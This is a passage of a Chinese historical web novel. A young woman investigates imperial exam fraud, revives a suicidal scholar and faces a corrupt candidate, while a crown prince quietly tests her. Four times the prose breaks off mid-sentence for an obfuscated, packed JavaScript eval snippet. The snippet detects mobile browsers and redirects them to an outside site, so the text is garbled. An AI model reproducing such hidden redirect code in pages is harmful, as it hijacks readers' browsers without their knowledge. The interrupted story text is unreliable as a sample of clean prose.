卫枢径直离去，留下任知宜跪在原地凝神静思。 此次进京，便是要寻一个靠山，翻正她爹的案子。 太子位高而权重，较之刘府尹，则是更好的人选。 只不过，太子此人外表温和知礼，实则是一个防备心极重之人。 弯月躲入云层之中，周围愈加黑洞洞的，任知宜靠在冰冷的石壁上，了无睡意。 ———— 牢头掂了掂宝珠送来的金钗，成色、份量都不错，“进去吧！” 宝珠见到任知宜，眼泪直流，“小姐，你在里面冷不冷啊？我给你带了件衣服。” “我没事儿！咱们时间不多！”隔着牢门，任知宜握着她的手，“你尽快通知陆三爷，别计较价格，两日之内卖掉那三支紫毫。” “小姐，还管银子作甚！我还是先想办法救你出去吧！” “不行！”任知宜秀眉微蹙，“迟了，我怕连一半钱都拿不到！” 科举舞弊非同小可，不管最后是否定案，都会形成轩然大波。 拜托陆三爷代卖的三支紫毫一定要尽快脱手，否则消息一旦传出去，今科贡士人人自危，哪有人有心思买这个彩头！ 任知宜四处望望，眼见四下无人，“我被抓之前交代你找的东西，可有带在身边？” “嗯！”宝珠止了哭泣，从怀中掏出一摞纸，是今科进士的三甲榜单。 任知宜快速地翻阅了两遍，眼底渐渐清明起来。 “宝珠，这两日客栈的举子都在做什么？” “咱们客栈的举子大多落榜，都在收拾行囊，准备返乡。” “解州的举子呢？” 宝珠一怔，不明白小姐为什么关心解州，但还是解释道：“来的路上，我看见凌云楼熙熙攘攘，好不热闹！听说是解州举子连开三日酒席，庆贺高中。” 任知宜捏紧纸笺，上面是宝珠誊抄的今科会试榜单。 解州举子高中者共计二十一名，为大胤各州之首。 如此惊人的结果，却在世人的预料之中。谁让他们是解州举子呢！ 大胤名城之中，解州必然要占一席之地。 世人皆说，解州人杰地灵，乃是福地。 自大胤开国以来，解州已出过三位状元，四位探花，中进士者一直是江南各州之首，所以解州官员在朝中的同乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127483|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故旧不知凡几，久而久之，形成了一个盘根错节的关系网。 解州举子的才学名满天下，即使今科高中二十一人，也无人怀疑。 可是，偏偏这么巧！ 那胡裙姑娘留下的册子里，恰恰就有这二十一人的名字。 任知宜沉思半晌。 或许，这就是她的转机！ ———— 兆京城南的一处别院，外观上瞧过去极为普通，平日里只有一个老哑仆守着房子。 苏叶踏入别院，穿过一片小竹径，走到后院。 卫枢身着短褐，袖子被挽起来，露出结实有力的小臂。 “喀啦！” 随着斧头砍下去，木头应声而裂。 卫枢头也不抬，闷声劈柴，“你怎么来了？” 苏叶靠立着墙，无奈道：“殿下，你好好的东宫不住，为何隔三差五要来这里砍柴种菜！” 卫枢放下斧头，扯下脖子上的汗巾，在脸上抹了一把，“以前的习惯。” 这句“习惯”让苏叶想到往事，收起了笑容。 嘉以元年，大胤国遭遇边将叛乱，战乱一路蔓延至兆京城，皇宫陷落，帝后逃亡，当年的卫枢就在那一场混乱中失踪，流落民间数年方才回宫。 即使他们自小一起长大，是极为亲近的表兄弟，卫枢也极少向他谈及那几年发生的事情。 苏叶提及正事，“刘明扬这两日拿着你给的礼部花名册，将兆京城的举子全查问了一遍，如今，有些人已经坐不住了！” 卫枢披上外衣，将劈好的木柴捆成一扎一扎，放在墙头。 “让他收手吧！” “呵，他恐怕求之不得！”苏叶笑道：“那刘大人是个纯纯的软骨头，这两日查几个举子，已是吓得半死。” “好一个蝇营狗苟的兆京府尹！此案了结，必要整治他！”卫枢冷哼道。 “他若不是个庸才，殿下也不会选他做这个出头鸟！”苏叶突然想起来什么，“听说，殿下将狱中那个女子给放了。” 卫枢神情不动，淡淡道：“嗯。” 苏叶啧啧称奇：“殿下那日不是说，此女心思狡诡，让我吩咐刘府尹在狱中好好威吓一番。这才不过两日，怎地将她给放了！” 卫枢递出一样东西。 苏叶接过来，瞪大了眼睛，“这……” 一方罗帕，上面的四个字以血写成，分别是“解州”和“郓国”。 解州代表科举舞弊，而郓国则是太子卫枢的心头之患。 见微知著，洞若观火。 “她不甘心继续呆在牢中，想用这血帕作投名状。” “殿下这是答应她了？” “此女聪敏狡黠，善解人心！” 苏叶不解，“再聪敏，也不过是一个普通官宦女子，殿下为何要给她机会？” “暗卫赶在南衙卫之前救回了窈娘，不过名册不在她手中。”卫枢淡淡道。 “在谁手里？” 卫枢淡淡道：“那名册在任知宜手中。” 苏叶听完前因后果，恍然道：“难怪殿下要放了她。” “她能从南衙卫手中将窈娘救下来，或许，是真得有几分聪明。” “可是……”，苏叶蹙眉，“如今名册在她手里，她又猜出殿下的意图，会不会于我们的计划有碍？” 劳作之后，卫枢习惯泡一壶清茶。 他慢条斯理地倒掉茶沫，三遍之后，茶香渐浓，氤氲而出。 雾气缭绕，双眸清寒。 “林四在跟着她。”卫枢淡淡道。 苏叶了然，林四是太子暗卫中第一快剑，犹擅暗杀，可于三步内杀人于无形。 卫枢浅啜清茶，“她救下窈娘，孤便给她这个机会。七日为限，看她能翻出什么天地。” 5. 救人 春寒料峭，欲暖还寒。 宝珠扶着任知宜跨过客房门口的小火盆，双手合十拜道：“大吉大利……祛灾除恶！” 任知宜回过神来，不以为然地笑笑。 太子放她出狱，将血帕还给她，上面的“解州”二字被以朱笔标注。 嘉以之乱后，皇帝曾经一度忌惮武将，重用文臣。 文臣之中，解州一派势力最为庞大，在民间声望盛隆。若不能一击即中，即便是太子，也会遭遇反噬。 科举舞弊，无怪乎两种方法。一是替考，前朝曾有人借此过了乡试和会试，可是本朝好文，举子之间常常集会，交往密切，极难代考。另一种方法则是贿赂主考官，考生在糊名文卷上留下彼此能辨认的记号。 若要查舞弊线索，少不得要查一下解州举子与主考官的交往…… 她正凝神想着，宝珠不知从哪儿拿了一张大蒲叶，在她身上扫来扫去，絮絮叨叨道：“莫名其妙坐了几日的牢狱，必须好好去去晦气！” 进屋后，任知宜的目光被桌上的一方靛青色雕花漆金盒吸引住，“这是？” “今早陆三爷送来的。” 任知宜打开，里面放着一沓银票。 数了数，足足五千两。 任知宜眉头轻舒，“这么短的时间就卖出这个价钱！不愧是陆三爷！” 她攥着银票，思索片刻，“一会儿去挑个上等的楠木匣，将咱们从灵州带来的墨砚装好，给陆三爷送过去。” 宝珠奇道：“小姐不是说，除了那幅画，咱们身上最值钱的东西就是那墨砚吗？” “嗯！一方面是感谢陆三爷，另一方面我想求他办件事。” “什么事？” “借陆三爷的人脉，结识解州举子。” 宝珠懵懵懂懂，不知道小姐究竟要干什么，只知道是和一位贵人有些关系，小姐怎么说，她就怎么做。 她们将剩余的银票缝入二人的小衣中。 有前车之鉴，任知宜也不敢再去打点刑部的官员，正好用来打探科举的消息…… “呜呜……呜呜……” 隔壁房间传来悲戚的哭声，起初还是放声大哭，后来只剩下低声的呜咽。 哭声甚是凄凉，令人动容。 任知宜心内微叹，“这位霍举子还没有返乡？” “听说是手臂受了点伤，耽搁了行程！” 任知宜想起那日南墙榜下所见，沉默下来。 “举足，望何处，悠悠君莫问……” 一声悲切的低吟后，隔壁渐渐安静下来。 ———— 约摸过了半个时辰，“咚”地一声巨响传来。 震得任知宜心头一颤，她面色一变，“宝珠！刚才是不是有重物落地的声音？” “好像……是吧！”宝珠茫然。 “不好！” 任知宜扔掉手中的针线，快步冲到霍举子的房门口，发狠地捶打门板。 “霍举子！开门……霍举子，开门！开门！” “出什么事儿了？”店家和几个举子闻声而来。 “房门紧闭不应，霍举子可能出事了！” 众人不敢迟疑，踹门而入，见人吊在房梁上，双腿软软地垂坠着。 众人合力抱他下来。 人已经晕死过去，面容青紫，呼吸微弱。 任知宜喊道：“都退后，让个空地出来……” 店家忙不迭地打开窗户，一边通风散气，一边嚎哭道：“霍举子啊……你这不是害我嘛！” “这可如何是好？”一个同乡举子解开他的襟领，颈间的深痕发紫。 任知宜试了试他的脉，尚有一丝脉息。 她拿出一粒丹药递给那位举子，“这是上清丹，劳烦公子喂给霍举子。” “什么上清丹？”同乡举子犹疑不接，“我没听说过！” 任知宜耐着性子解释道：“这上清丹是我们家乡的一味灵药，最是危急的时候用，你信我。” “我看他是不行了，咱们还是先报官吧！”眼见霍举子气息渐弱，店家慌里慌张地开始喊人。 “他还有气息！” 任知宜的视线掠过其他举子，众人皆面露难色。 任知宜不再言语，推开前面挡着的人，捏着霍举子的下巴，把上清丹投喂进去。 宝珠憋屈得不行，跳脚骂道：“一个个的，不知道读的什么圣贤书！这般自私怕事！” “别说了！宝珠，去找床被子给霍公子裹上，他身子太冷了。” 半柱香的时间过去，霍公子悠悠地醒转过来，众人都长长地舒了一口气，各自散去。 ———— 那位同乡举子姓费，他临走前向任知宜致谢：“多谢姑娘救了霍兄的性命……” 任知宜神情淡淡，不予理会。 费举子面露尴尬，“非是我等自私，实在是会试落第已无仕途可言，若再惹上人命官司，便连举人身份也没有了……” 听完他陈诉苦衷，任知宜漫不经心地瞥了他一眼，“落不落第重要吗？” “姑娘此话怎讲？” “你若中了进士，只会更珍惜自己的身份，更加不会出手救他。这世道的人情薄如纸，何必非要给自己找这些冠冕堂皇的借口！” 费举子被骂得面色胀红，仓皇离开。 ———— 宝珠匆匆跑过来道：“小姐，霍举子醒了，又要轻生。” 任知宜薄唇抿成一条线，她走到他的床前，自上而下地俯视道：“死之前，先把银子还给我！” “咳咳……我，我何时欠过姑娘银子？”霍思修喉咙受伤，说话还有些费力。 “我救你的那粒上清丹，价值四百三十两！你就算要死，也要先还钱！” 霍思修仰面苦笑，“那就来生再还姑娘的恩情吧！” 任知宜冷冷道：“你这种懦弱自缢之人，若有来生，也只配做狗畜，如何还钱！” 霍思修一怔，有些不敢相信眼前天仙般的姑娘居然会这么说！ “你以为你一死了之，来生便可金榜题名，一雪前耻？”任知宜轻笑道。 霍思修喉头一梗，之前的屈辱感重新涌上心头。 任知宜冷冷地瞥了他一眼，“你这么死了，只不过是让亲者痛，仇者快罢了！这一世的债和仇，就该在这一世了结！” 一朝死生，大梦初醒。 “想明白了？” 霍思修苦笑道：“姑娘放心，我不会再轻生了。” “……” 任知宜柳眉一挑，“我问得是，想明白怎么还钱了？” 霍思修一噎，结结巴巴道：“暂，暂时还没有……” 此时，宝珠端着碗走进来。 “我跟店家要了碗厨房的鸡汤，还热着。快喝吧！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127484|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” ———— 书案上摞着厚厚的书稿，任知宜随意拿起一本，葱白的指尖拂过书页，她抬头瞥了霍思修一眼。 “这些都是你写的？” “一堆，一堆废纸而已！”霍思修喉咙刺痛，禁不住重重地咳了几声。 任知宜翻了几页，赞叹道：“好文章！” 霍思修面色灰沉，不在意地摆手道：“姑娘过誉了！” 任知宜上下打量着他，脸颊瘦削，身形单薄，一副文质羸弱的模样，缺了几分刚强之气。 但是，他也确实是才华出众。 文章锦绣，意境深远，尤其是她手中这篇，写得典雅工巧，颇为难得。 她沉思了半晌，缓缓问道：“霍举子，你为何要轻生？” “说出来让姑娘见笑！”霍思修颓然道，“会试落第，无颜再回家乡。” “大丈夫志存四海，此番不行，还有下一次。” 霍思修半倚在床上，脸色变得更加灰败，“若真是我才学不如人倒也罢了！可是李佑康和罗汉之流居然高中，这如何让人信服！” “他们二人才学不佳？” “不学无术，诗赋一窍不通，策问行文毫无章法，每日只是流连赌坊和青楼。” 任知宜心中一动，“这两人可是解州举子？” 霍思修愕然，“姑娘如何得知？” 任知宜似乎在思考什么，并未答话。 霍思修双手握拳，不甘心道：“都说天下学子千万，尽看解榜风流！咳咳……什么解榜！之前我亲耳听到罗汉说会试考题已在手中，我当时还天真地以为他说得是醉话……” 此时，外面传来嘈杂的喧哗之声，人声鼎沸，好不热闹。 任知宜推窗望去，一群百姓簇拥着几个举子高声欢呼。 站于正中，身着蓝衣的举子正是那日在南墙下殴打霍思修的人。 他朝着人群洒出一把银钱，满脸的春风得意，“在下李佑康，为庆贺今科高中，今日请诸位去凌云楼吃酒……” 高呼之声不绝于耳。 任知宜指着窗外问道，“他就是李佑康？” 霍思修顺着她的视线望去，咬牙切齿道：“就是他！” 任知宜关上窗，阻隔了外面的喧闹，“你可敢揭露他们的科举舞弊之行？” 霍思修愀然变色，目光躲闪。 任知宜冷笑道：“公子不敢提及，不如就这么算了！回乡苦读，三年后再考便是。” “不考了！”霍思修眼神中闪过一丝痛苦，“我房州已多年未有人入甲……” 任知宜一怔。 “我是这届乡试的头名，州府和乡里都对我寄予厚望，一直照应我们母子的生活。没想到今次还是名落孙山。 难道要我回去告诉乡里，非我房州无才，乃朝廷不公……” 霍思修说到此处，哽咽难言。 任知宜霍地站起来，“男子汉大丈夫，光哭有什么用！” “我一介书生，人微言轻，如何能与他们相抗？” 任知宜轻声道：“你不去做，又怎知一定不成！” 窗外柳枝摇动，阴风渐起，天光黯淡下来。 骤雨将至！ 窗棂被风吹开，冷冷的风嗖地一下窜了进来，一页页书稿被吹地片片翻飞，落在霍思修的眼前。 ——“北风知吾念，尤恨世不平！” 6. 赌坊 接连多日的阴雨停歇，空气中仅余湿漉之气，大地现出萌发之意。 春闱放榜之后，兆京城热闹了好几日。 再过一月便是殿试，如今都在猜测谁会成为今科的状元。 有人说是解州才子宫北楼，他才比子建，诗词歌赋无一不精；也有人说是安州举子刘泰，少有才名，深得安州王的赏识；还有人说是当朝宰辅景郦之子景随，文辞瑰丽，人品贵重，也许能成就一门父子两状元的佳话。 所以，在兆京城私下设的赌局当中，以这三位人选最热。 ———— 霍思修站在聚盛赌坊的门口踟蹰不前，半捂着脸问道：“任姑娘，当真要进去吗？” “当然！这里可是个知己知彼的好地方。”任知宜一袭白衫，青带束发，一身的男儿装扮潇洒倜傥。 “这，这是不是有辱斯文……啊啊……” 任知宜不等他说完，一把将他推了进去。 “樗蒲、叶子牌、投壶、弹棋……三位客官想玩点儿什么，咱们赌坊都应有尽有。”小厮口齿利落地介绍道。 任知宜掩着口，小声问道：“你们这里有没有状元局？” “有的，有的……”，小厮心领神会，领着他们三人穿过一扇不起眼的小门，又走过一个长长的廊道，右拐到一间房门前。 木门上的漆色掉了大半，从外面看去是个极不起眼的地方。 任知宜轻轻一推，透过门缝往里面望去，但只是瞧了一眼，她就倏地缩回身子，一脸的凝重。 宝珠见状，一下子紧张起来，“怎么了？小姐！里面有什么？” 真是冤家路窄！ 那位“刘府二公子”居然坐在里面！ 任知宜抿唇，什么“刘府二公子”，她如今也已知晓，此人实际上是太子的表弟，长公主之子，户部侍郎苏叶。 她戴上帷帽，遮住面容，咬了咬牙，推门进去。 房内外围是一圈环形坐台，开局之人立于环台中间，旁边是一排挂着名牌的木质立柱，名牌之上标记有名字和赔率。 三人寻了个位置坐下，开局人正讲到安州举子刘泰。 “刘泰其人，八尺昂藏，四方脸，长着一双剑眉；自幼家贫，事母至孝，乡野传颂。传闻他八岁那年随叔父去安州王府做客，席上赋诗一首，满堂宾客喝彩，自此得到安州王的赏识。诗词歌赋、礼仪策问无一不通，据说还懂些武艺……” “唔……”，一阵惊呼声发出，很多人脸上都现出赞叹之色。 “小姐，我们到底来这里做什么啊？”宝珠弱弱地问道。 任知宜目不斜视，“你猜！” 宝珠挠了挠小脸，“莫不是……来挑姑爷的？” 任知宜凉凉地看了她一眼。 霍思修坐在旁边，听着主仆俩的对话，哭笑不得。 不知道自己怎么就跟着任知宜走上这条道！ 想起那一日的情景…… 当时他看到自己曾经写下的诗句——“北风知吾念，尤恨世不平”，心中突地涌上一股热潮，脱口而出道：“你说得对，不能就这么算了！” 任知宜神色微凝，“你待如何？” 霍思修激动得面色发红，“明日我便去府衙提告！” “证据呢？” “有一日罗汉醉酒，他当着众人的面，亲口说他花重金买到了今年会试的考题，他还说这题只卖解州举子。” 霍思修越说越气：“初时我也以为是他自大吹嘘，可是他当时无意中透露的一句，恰恰出现在会试考题中。” “呵……”，任知宜啐声道：“一朝科举锈烂至此，难怪选出来的大胤官员净是些尸位素餐的废物。” “倒也，倒也不必这么说……”霍思修一噎，嗫嚅道：“偌大的朝廷总还是有清官和好官的！” “他们官官相护，随便安个罪名便能让你生不如死！” 任知宜定定地望着他，“若你真想求一个公道，我帮你！” “……” 霍思修不解道：“姑娘为何要帮我？” 任知宜站在窗前，背对着他，望着远处灰云飘散，天光渐暗。 “我自然有我的私心，只是暂时不方便告知。你只需要知道，我既然答应了，便会倾尽全力助你，义无反顾，一往无前。” 霍思修默然良久。 他是死过一次的人，还有什么好怕的！ 人生苦短，总要做一些自己认为值得的事。 ———— 赌坊开局人润了口茶，继续道：“……好！咱们最后说的这个人，想必大家都很熟悉，景家二公子景随。” 任知宜双眸一动，嘱咐霍思修道：“关于此人，你务必听仔细了！” “说起这位景二公子，道一句玉磬天成真是毫不为过！论相貌，温润如玉，风林俊秀；论才学，他的诗作京城无人不晓；论家世，他可是景相之子……” 开局人讲完一众才子的生平，笑眯眯道：“状元局，迎状元。诸位尽可挑选最合自己心意的状元人选。” 隔着帷帽，任知宜瞥见苏叶将一包银子放入开局人的手中。 她方才明白，京城中的状元局人尽皆知，其后可能有太子在推波助澜。 人人都想做状元，此时正是人心易动之时。 太子放她出狱时，言明给她七日之限，她若不能证明自己的用处，还是会被重新投入大狱之中。 她必须要尽快取得太子信任！ 待苏叶走后，任知宜拿出几两碎银子放在安州举子刘泰的名牌之下，“我买他！” “公子，请留步！” 任知宜转身回望，喊住她的是一个年约二十五六的男子，看起来有几分眼熟。 对方瞧见任知宜清丽的模样，双眸一亮，“原来是位姑娘！” 任知宜不想理会他，戴上帷帽，转身要走。 “暧……”，那男子拦住她，“姑娘何必走这么快呢！” “让开！” 那男子笑得肆意，“姑娘为何要买刘兄赢啊？” 任知宜好笑道：“与你何干？” 那人一顿，保持着笑容道：“姑娘不要误会！在下解州李佑康！与刘泰兄同为今科贡士。” 任知宜闻言，眉心一蹙，原来是他！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127485|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你要做什么？”霍思修看到李佑康，一个箭步冲上来，将任知宜和宝珠都护到身后。 “是你啊！霍大才子！” 李佑康的眼神在他们三人身上逡巡片刻，冷嘲道：“你不是一向嫌弃我等声色犬马，流连赌坊嘛！怎么……今次会试落第，你倒是想通了！” 霍思修气得说不出话来。 任知宜轻轻推开霍思修，站到李佑康面前。 “李公子说得对！” 任知宜樱唇微启，绽出一抹温柔的笑意，“霍公子发现，原来勤勉苦读毫无用处，只有像李公子这种终日流连赌坊的人才能考得上进士，所以霍公子今日是特意来请教的。” “你……” 李佑康没料到任知宜看起来温婉纤弱，竟是个伶牙俐齿的。 待听到周围人窃窃私语地议论起来，他恼羞成怒道：“这个女子刚才玩樗蒲时诈赌，我全都看到了，你们赌坊不管吗？” 赌坊的人不敢得罪他，又见任知宜只是一介弱女子，全都拎着棍子跳了出来。 十几根长棍迎面挥来，直把霍思修吓得血色全无。 他咬了咬牙，闭着眼睛冲上前去，挡在任知宜和宝珠面前。 “咔嚓……” 木棍断裂的声音传来，预想中的疼痛却没有袭来，霍思修只感受到一股劲风从耳边擦过。 他蓦地睁开眼睛。 正看见宝珠自高处飞掠而下，一记有力的旋踢踹中赌坊打手的胸口。 那人整个被踹飞到墙上，一大口鲜血汹涌而出。 宝珠飞上腾下，如履平地。 虽然她看起来身形娇小，使出的拳脚却刚劲猛烈，不一会儿的功夫，所有的赌坊打手被打得哀嚎遍地。 霍思修张大了嘴，呆呆道：“宝，宝珠姑娘……” 任知宜眼波流转，笑得一脸温柔清雅，“我们宝珠可是被西域天师所称赞，是他所有徒弟中，最具武学天资的一个。” 西域天师是谁，大家并不知晓，可是方才这些人骨头碎裂的声音都听得分明，众人纷纷点头退后，仿佛在避毒舌猛兽一般。 “你们敢在这里闹事儿！”李佑康怒吼道：“不怕我把你们送官？” “好啊！” 任知宜眸中含笑，笑容温雅而恬静。 “咱们一起去趟兆京府衙！最好再去趟礼部，让尚书大人瞧瞧李公子的殿试准备得如何。” 李佑康气结，又不敢真得去。 事情闹大了，万一以科举期间六博为由抹了他的功名，那便得不偿失了。 任知宜轻轻拂掉裙摆处的尘土，“其实，才学这种东西，有没有一试便知。古来欺世盗名者，终将作茧自缚，贻笑大方。” 她浅笑问道：“李公子，你是不是也这么觉得呢？” 李佑康面色阴鹜，一双眼睛死死地盯着任知宜，像要将她生吞活剥了一样。 “既然李公子不敢将我们送官，那我们就后，会，有，期！” 任知宜收起笑容，冷冷迎视回去，毫不怯懦。 那笃定的眼神让李佑康心中暗暗一惊，仿佛一切才刚刚开始。 7. 回宫 日落西空，佳木成阴。 天边云霞染照，余晖落在休枝雀鸟的尾羽上，浮起一层柔光。 小雀鸟纹丝不动，在那温柔的浮光之下睡得香甜。 假如此时睁开眼，它便能看到树干依偎的墙头上坐着一人，浑身僵直，动也不动。 围墙丈高有余，宝珠站在墙外，犹自喊得起劲，“小姐，别害怕！闭上眼睛，猛地一跳，就能进到院子里了。” 任知宜坐在墙头上，扯了个无力的笑容。 今日探听到太子在别院，求见不得，才出了这爬墙的下策。 没料到，千辛万苦爬上来才发现，墙下站着一排黑衣劲卫，就那么直直地站着，也不说话，周身散着冷意。 这真是，跳也不是，不跳也不是。 手臂撑了片刻，她感觉有些僵麻，于是轻轻挪动了半寸。 唰地一声，长剑出鞘，寒光一闪，雀鸟受惊倏飞。 她笑容微僵，拱手道：“任知宜有要事求见太子，烦请通传。” 等了半晌，黑衣劲卫依旧岿然不动。 任知宜求请半天，却像是自说自话，对方连个眼风都没有扫给她一个。 默了半刻，她咬牙笑道： “今日若是见不到殿下，我就坐在这墙头不走了。 ———— 别院中，卫枢正在劈柴。 苏叶站在一旁，苦着脸叹道，“殿下近来总是不回东宫，陛下和皇后问起来，我都不知该如何回答。” “父皇和母后找我有急事？”卫枢微微蹙眉。 苏叶清了清嗓子，“倒也不是什么大事，就是乐坊新进了一个胡姬，舞姿出众，陛下和皇后娘娘都非常喜欢，想邀你一同赏舞。” 卫枢沉默半晌，拎起炉上的銚子，倒了一大碗水，仰头饮尽。 苏叶心知他不喜奢靡之风，劝慰道：“之前陛下和皇后担惊受怕了好些年，好不容易等到叛乱平息，现在求些安逸的生活也是常情。” 说话之际，暗卫走进来，如实禀了任知宜的话。 “赖在墙头不走了？”苏叶惊得瞠目结舌，心想这灵州来的女子好生妄为，又想起那日在兴盛赌坊所见，“赌坊的事儿，可听林四提起了？” 他啧啧叹道：“那日的情形殿下没瞧见，场面壮观得很，此女胆子可真不小。” 卫枢将劈好的木头捆扎好，摞在墙角。 苏叶抚着下巴笑道：“她带着一个落榜举子，一个傻呆丫鬟，将个赌坊搅得天翻地覆。丫鬟是个绝顶高手，看着身量不大，却有着一身的刚勇之气。难怪两个弱女子敢千里迢迢，跋山涉水來京城。” 卫枢长眉深蹙，“林四说，她们和一个解州举子起了冲突。” “李佑康。”苏叶笑道：“此人一向不学无术，声名狼藉。” 卫枢若有所思。 思忖半刻，吩咐暗卫，“将任知宜送回客栈，这几日盯紧她的行踪，但无须干涉。” 暗卫领命。 苏叶笑叹，“急得都要翻墙了，恐怕是真得有所求，不如先听听看。” 卫枢将捆扎好的木柴落在墙角，淡淡道：“若她想不出应对之法，便不足以让孤网开一面。” “回宫！” 卫枢披上墨青色外衣，一方汉玉九龙珏挂于腰间，广袖轻甩，繁复的祥云纹饰在光下清晰可见。 锦衣着身，眉目凛冽了三分，似是又恢复如碎玉般的清冷矜贵。 苏叶紧跟其后，嘱咐道：“陛下近日为了重修懿华宫的事儿心中不快，你今日回宫，记得切不可提此事。” ———— 任知宜回到客栈，将自己关在房间里闭门不出。 霍思修不解，问宝珠是何缘故。 “我家小姐每当遇到无法解决的事，便要静思。” 霍思修又问，“那得静思多久？” 宝珠歪着头想了想，“少则一个时辰，多则一日。” 眼前确实有一桩亟待解决之事摆在任知宜面前。 她要去见那个人，若无太子引荐，她如何能做到。 太子此人，冷心冷情，心思深沉。以今日举动来看，他想考验于她，在她证明自己的价值之前，太子不会给予她任何助力。 七日之限一过，她将被重投大狱，父亲的案子也再无指望。 绝境行险，或可逢生。 毕竟，她已无路可退。 ———— 太子的骏马行至皇宫东英门，卫枢隔门下马，宫道之上众人跪伏两侧，谒太子千岁。 宫城分东西两侧，正中为正极殿和清和殿，由文华门而入，可直接到达西侧的文昌阁和乾元殿议事堂。 将至文华门，卫枢听到“哒哒”的马蹄声，停下脚步。 大胤为官者，可于文华门下马的朝中仅一人而已，乃是当朝中书令，人称景相的景郦。 顺着重叠的宫门望去，景郦的身影渐行渐近，座下的白义马通体雪白，胸叶缀满珠片，赤色的飞卢极其耀目。 据说，这是当年安丘国进献的贡马，陛下赞此马“类景卿之高洁儒雅”，将其赐予他。 卫枢站在文华门前，静静地等待着景郦。 “景相辛苦！”卫枢施礼，态度恭谨。 “老臣见过太子殿下。” 景郦历经两朝，花甲之年，早已得圣令加恩免跪，可是每次见到卫枢，他都要正式地行君臣之礼。 他身姿挺拔，双目矍铄，惟有面如沟壑，似刀斧镌刻一般，显得人不怒自威。 “殿下可是去面圣？” “正是！”卫枢问道：“景相是否要与孤同行？” 景郦眉间紧皱，像是在思考什么，眼角的纹路显得愈加深刻，“陛下看到老臣，恐怕什么好兴致都没有了。” 卫枢淡淡道：“景相何出此言？” “殿下稍后见到陛下，务必多多规劝。当年懿华宫被大火烧得面目全非，如今再说修葺也是毫无意义，请陛下三思。” 嘉以元年，赣南道节度使叛乱。叛军一路打到了兆京，帝后出逃，只留下一些嫔妃和宫女因为反抗叛军而被烧死在懿华宫。 皇帝回京后想要重修懿华宫，可是景相一直不同意。 卫枢面色平静，目送景郦的背影远去，目色幽深。 他随口问道：“景相今日进宫，所为何事？” “禀殿下，听说是有流民作乱的奏报呈上来，景相与几位尚书在文昌阁会谈。”内侍叹道：“今夜恐怕又是一宿，如此操劳，不知道景相的身体吃不吃得消！” “嗯。”卫枢淡淡地应了一声。 —— 御苑之中，琴音袅袅，绵密轻柔。 风情万种的胡姬站在舞台正中，和着节拍，舞动着细软的腰肢，足尖旋转，宛若即将飞升的仙子。 待卫枢的身影出现，皇帝微笑着挥挥手，示意他近前。 藤萝掩映，水净空明。 “枢儿来得正好！看这胡舞，与我大胤的舞姿截然不同！” 皇帝捋着几缕髯须，看上去像个儒雅的文士，“几日不见，枢儿怎地又瘦了些！” “见过父皇、母后！” “是不是宫人伺候得不顺心？”郑皇后生着一张白皙的圆脸，整个人丰腴圆润，仪态万方。 “母后多虑。”卫枢低声道。 面对太子的清冷，郑皇后微微蹙眉，欲言又止。 过了半晌，她柔声道：“枢儿，当年你走失之后，母后夜夜睡不安稳，梦见你饿得瘦骨嶙峋，哭喊着让母后救你……” 说着说着，她又禁不住落下泪来。 “这么多年过去了！你怎地又提起此事！”皇帝有些无奈道，递上帕子为她拭泪。 御前的胡总管见状，赶忙让舞姬散去，自己也远远地退到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127486|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁。 郑皇后攥着帕子，凝视着卫枢的脸庞，想要从他脸上寻得一丝情绪上的波动。 卫枢神情不变，“母后，儿臣在民间的那几年，过得很好。” 如何能好？ 餐风露宿，饥不饱食。 卫枢自从回宫，一直与父母不算太亲近，难道是怪他们早早地放弃寻他？ 这又如何能怪她？ 叛军投降后，有个兵士亲口招认，太子已死。 郑皇后心思周折良久，归于默然。 卫枢躬身问道：“父皇近来身体可好，可有按时召见太医？” “李太医说朕和你母后身体都不错，下个月参加春猎绝无问题。” 圣体安康，卫枢亦觉欣慰。 “春猎时，儿臣恳请，与父皇一同狩猎。” 